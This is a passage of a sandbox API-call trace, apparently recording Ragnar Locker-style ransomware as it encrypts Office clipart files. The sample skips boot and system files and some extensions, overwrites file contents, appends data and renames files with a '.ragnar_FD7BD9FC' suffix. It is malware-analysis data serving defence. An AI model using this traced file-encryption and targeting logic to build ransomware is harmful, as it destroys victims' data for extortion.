(lpString1="PH02028K.JPG", lpString2="bootmgr") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="bootmgr.efi") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="bootmgfw.efi") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="desktop.ini") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="iconcache.db") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="ntldr") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="ntuser.dat") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="ntuser.dat.log") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="ntuser.ini") returned 1 [0090.034] lstrcmpiW (lpString1="PH02028K.JPG", lpString2="thumbs.db") returned -1 [0090.034] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0090.034] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0090.034] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0090.034] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0090.034] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0090.034] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0090.034] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0090.034] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg")) returned 0x20 [0090.035] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.035] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17694) returned 1 [0090.035] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4515, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.035] GetProcessHeap () returned 0x580000 [0090.035] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.035] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.037] VirtualAlloc (lpAddress=0x0, dwSize=0x451e, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.037] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.037] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x451e, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x451e, lpOverlapped=0x0) returned 1 [0090.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.038] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x451e, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.038] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x451e, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x451e, lpOverlapped=0x0) returned 1 [0090.038] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x451e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.038] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.038] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x451e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.038] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.038] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.038] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.039] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.039] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.039] GetProcessHeap () returned 0x580000 [0090.039] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.039] CloseHandle (hObject=0xf4) returned 1 [0090.039] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" [0090.039] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.ragnar_FD7BD9FC" [0090.039] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02028K.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02028k.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.039] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a415a00, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a415a00, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7ce0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02039U.BMP", cAlternateFileName="")) returned 1 [0090.040] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.040] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02039U.BMP" | out: lpString1="PH02039U.BMP") returned="PH02039U.BMP" [0090.040] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP") returned=".BMP" [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="autorun.inf") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="boot.ini") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="bootfont.bin") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="bootsect.bak") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="bootmgr") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="bootmgr.efi") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="desktop.ini") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="iconcache.db") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="ntldr") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="ntuser.dat") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="ntuser.ini") returned 1 [0090.040] lstrcmpiW (lpString1="PH02039U.BMP", lpString2="thumbs.db") returned -1 [0090.040] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.040] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.040] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.040] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.040] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.040] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.040] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp")) returned 0x20 [0090.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.041] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31968) returned 1 [0090.041] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7cd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.041] GetProcessHeap () returned 0x580000 [0090.041] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.041] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.042] VirtualAlloc (lpAddress=0x0, dwSize=0x7ce0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.043] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.043] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7ce0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.044] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.044] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7ce0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.044] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7ce0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7ce0, lpOverlapped=0x0) returned 1 [0090.044] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7ce0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.044] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.045] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7ce0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.045] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.045] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.045] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.045] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.045] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.045] GetProcessHeap () returned 0x580000 [0090.045] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.045] CloseHandle (hObject=0xf4) returned 1 [0090.045] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" [0090.045] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.ragnar_FD7BD9FC" [0090.045] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02039U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02039u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.046] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x857ca600, ftCreationTime.dwHighDateTime=0x1bd4e54, ftLastAccessTime.dwLowDateTime=0x5a3ff2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x857ca600, ftLastWriteTime.dwHighDateTime=0x1bd4e54, nFileSizeHigh=0x0, nFileSizeLow=0x7db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02040U.BMP", cAlternateFileName="")) returned 1 [0090.046] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.046] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02040U.BMP" | out: lpString1="PH02040U.BMP") returned="PH02040U.BMP" [0090.046] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP") returned=".BMP" [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="autorun.inf") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="boot.ini") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="bootfont.bin") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="bootsect.bak") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="bootmgr") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="bootmgr.efi") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="bootmgfw.efi") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="desktop.ini") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="iconcache.db") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="ntldr") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="ntuser.dat") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="ntuser.dat.log") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="ntuser.ini") returned 1 [0090.046] lstrcmpiW (lpString1="PH02040U.BMP", lpString2="thumbs.db") returned -1 [0090.046] lstrcmpiW (lpString1=".BMP", lpString2=".db") returned -1 [0090.046] lstrcmpiW (lpString1=".BMP", lpString2=".sys") returned -1 [0090.046] lstrcmpiW (lpString1=".BMP", lpString2=".dll") returned -1 [0090.047] lstrcmpiW (lpString1=".BMP", lpString2=".lnk") returned -1 [0090.047] lstrcmpiW (lpString1=".BMP", lpString2=".msi") returned -1 [0090.047] lstrcmpiW (lpString1=".BMP", lpString2=".drv") returned -1 [0090.047] lstrcmpiW (lpString1=".BMP", lpString2=".exe") returned -1 [0090.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp")) returned 0x20 [0090.047] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.047] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=32184) returned 1 [0090.047] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.047] GetProcessHeap () returned 0x580000 [0090.047] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.047] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.049] VirtualAlloc (lpAddress=0x0, dwSize=0x7db8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.049] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.049] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.049] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x7db8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x7db8, lpOverlapped=0x0) returned 1 [0090.050] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.050] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7db8, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.050] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x7db8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x7db8, lpOverlapped=0x0) returned 1 [0090.051] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7db8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.051] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.051] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x7db8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.051] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.051] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.051] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.051] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.051] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.051] GetProcessHeap () returned 0x580000 [0090.052] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.052] CloseHandle (hObject=0xf4) returned 1 [0090.052] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" [0090.052] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.ragnar_FD7BD9FC" [0090.052] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02040U.BMP.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02040u.bmp.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf32cd000, ftCreationTime.dwHighDateTime=0x1bd4e5c, ftLastAccessTime.dwLowDateTime=0x6ce6f8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf32cd000, ftLastWriteTime.dwHighDateTime=0x1bd4e5c, nFileSizeHigh=0x0, nFileSizeLow=0x6afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PH02053J.JPG", cAlternateFileName="")) returned 1 [0090.052] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.052] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PH02053J.JPG" | out: lpString1="PH02053J.JPG") returned="PH02053J.JPG" [0090.052] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02053J.JPG") returned=".JPG" [0090.052] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="autorun.inf") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="boot.ini") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="bootfont.bin") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="bootsect.bak") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="bootmgr") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="bootmgr.efi") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="bootmgfw.efi") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="desktop.ini") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="iconcache.db") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="ntldr") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="ntuser.dat") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="ntuser.dat.log") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="ntuser.ini") returned 1 [0090.053] lstrcmpiW (lpString1="PH02053J.JPG", lpString2="thumbs.db") returned 